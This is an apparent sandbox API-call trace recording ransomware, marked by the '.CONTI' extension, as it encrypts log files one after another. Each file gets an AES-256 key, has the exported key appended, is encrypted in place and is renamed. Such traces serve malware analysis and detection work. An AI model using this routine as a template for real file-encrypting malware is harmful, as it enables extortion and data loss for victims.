	[0117.069] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c5068 | out: hHeap=0x1720000) returned 1
	[0117.069] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0117.075] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x65dc718 | out: phKey=0x65dc718*=0x6b7f0f8) returned 1
	[0117.075] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc71c, pdwDataLen=0x46fff1c | out: pbData=0x65dc71c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0117.082] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.082] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0117.083] GetLastError () returned 0x0
	[0117.083] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=4096) returned 1
	[0117.083] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.083] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.083] SetEndOfFile (hFile=0x40c) returned 1
	[0117.083] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.083] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.083] WriteFile (in: hFile=0x40c, lpBuffer=0x65dc71c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x65dc71c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.084] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.084] ReadFile (in: hFile=0x40c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x1000, lpOverlapped=0x0) returned 1
	[0117.085] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1010) returned 1
	[0117.085] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.085] WriteFile (in: hFile=0x40c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x1010, lpOverlapped=0x0) returned 1
	[0117.085] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.085] WriteFile (in: hFile=0x40c, lpBuffer=0x65dc710*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x65dc710*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0117.085] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.085] CloseHandle (hObject=0x40c) returned 1
	[0117.085] GetProcessHeap () returned 0x1720000
	[0117.086] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.086] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.086] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.086] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.086] GetProcessHeap () returned 0x1720000
	[0117.086] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.086] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.086] GetProcessHeap () returned 0x1720000
	[0117.086] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733930 | out: hHeap=0x1720000) returned 1
	[0117.086] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0117.086] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x65ddba0 | out: phKey=0x65ddba0*=0x6b7f0f8) returned 1
	[0117.086] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ddba4, pdwDataLen=0x46fff1c | out: pbData=0x65ddba4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0117.087] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.087] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0117.088] GetLastError () returned 0x0
	[0117.088] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=8192) returned 1
	[0117.088] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.088] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.088] SetEndOfFile (hFile=0x40c) returned 1
	[0117.088] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.088] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.088] WriteFile (in: hFile=0x40c, lpBuffer=0x65ddba4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x65ddba4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.089] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.089] ReadFile (in: hFile=0x40c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2000, lpOverlapped=0x0) returned 1
	[0117.090] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2010) returned 1
	[0117.090] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.090] WriteFile (in: hFile=0x40c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2010, lpOverlapped=0x0) returned 1
	[0117.091] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.091] WriteFile (in: hFile=0x40c, lpBuffer=0x65ddb98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x65ddb98*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0117.091] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.091] CloseHandle (hObject=0x40c) returned 1
	[0117.091] GetProcessHeap () returned 0x1720000
	[0117.091] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.091] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.091] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.091] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.092] GetProcessHeap () returned 0x1720000
	[0117.092] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.092] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.092] GetProcessHeap () returned 0x1720000
	[0117.092] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65def40 | out: hHeap=0x1720000) returned 1
	[0117.092] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0117.092] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x65dd280 | out: phKey=0x65dd280*=0x6b7f538) returned 1
	[0117.092] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd284, pdwDataLen=0x46fff1c | out: pbData=0x65dd284*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0117.093] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.093] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0117.093] GetLastError () returned 0x0
	[0117.093] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=4096) returned 1
	[0117.093] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.093] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.093] SetEndOfFile (hFile=0x40c) returned 1
	[0117.093] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.094] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.094] WriteFile (in: hFile=0x40c, lpBuffer=0x65dd284*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x65dd284*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.095] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.095] ReadFile (in: hFile=0x40c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x1000, lpOverlapped=0x0) returned 1
	[0117.096] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1010) returned 1
	[0117.096] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.096] WriteFile (in: hFile=0x40c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x1010, lpOverlapped=0x0) returned 1
	[0117.096] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.096] WriteFile (in: hFile=0x40c, lpBuffer=0x65dd278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x65dd278*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0117.096] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.096] CloseHandle (hObject=0x40c) returned 1
	[0117.096] GetProcessHeap () returned 0x1720000
	[0117.096] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.096] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.096] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.096] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.097] GetProcessHeap () returned 0x1720000
	[0117.097] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.097] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0117.097] GetProcessHeap () returned 0x1720000
	[0117.097] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65df040 | out: hHeap=0x1720000) returned 1
	[0117.097] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0117.097] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x65dcdf0 | out: phKey=0x65dcdf0*=0x6b7f2b8) returned 1
	[0117.097] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dcdf4, pdwDataLen=0x46fff1c | out: pbData=0x65dcdf4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0117.098] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.098] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0117.098] GetLastError () returned 0x0
	[0117.098] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=8192) returned 1
	[0117.098] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.098] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.098] SetEndOfFile (hFile=0x40c) returned 1
	[0117.099] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.099] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.099] WriteFile (in: hFile=0x40c, lpBuffer=0x65dcdf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x65dcdf4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.100] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.100] ReadFile (in: hFile=0x40c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x2000, lpOverlapped=0x0) returned 1
	[0117.101] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x2010) returned 1
	[0117.101] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.101] WriteFile (in: hFile=0x40c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x2010, lpOverlapped=0x0) returned 1
	[0117.101] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.101] WriteFile (in: hFile=0x40c, lpBuffer=0x65dcde8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x65dcde8*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0117.101] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.101] CloseHandle (hObject=0x40c) returned 1
	[0117.101] GetProcessHeap () returned 0x1720000
	[0117.101] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.101] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.101] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.101] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.102] GetProcessHeap () returned 0x1720000
	[0117.102] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.102] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0117.102] GetProcessHeap () returned 0x1720000
	[0117.102] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181a240 | out: hHeap=0x1720000) returned 1
	[0117.102] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0117.102] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x65ddde8 | out: phKey=0x65ddde8*=0x6b7f0f8) returned 1
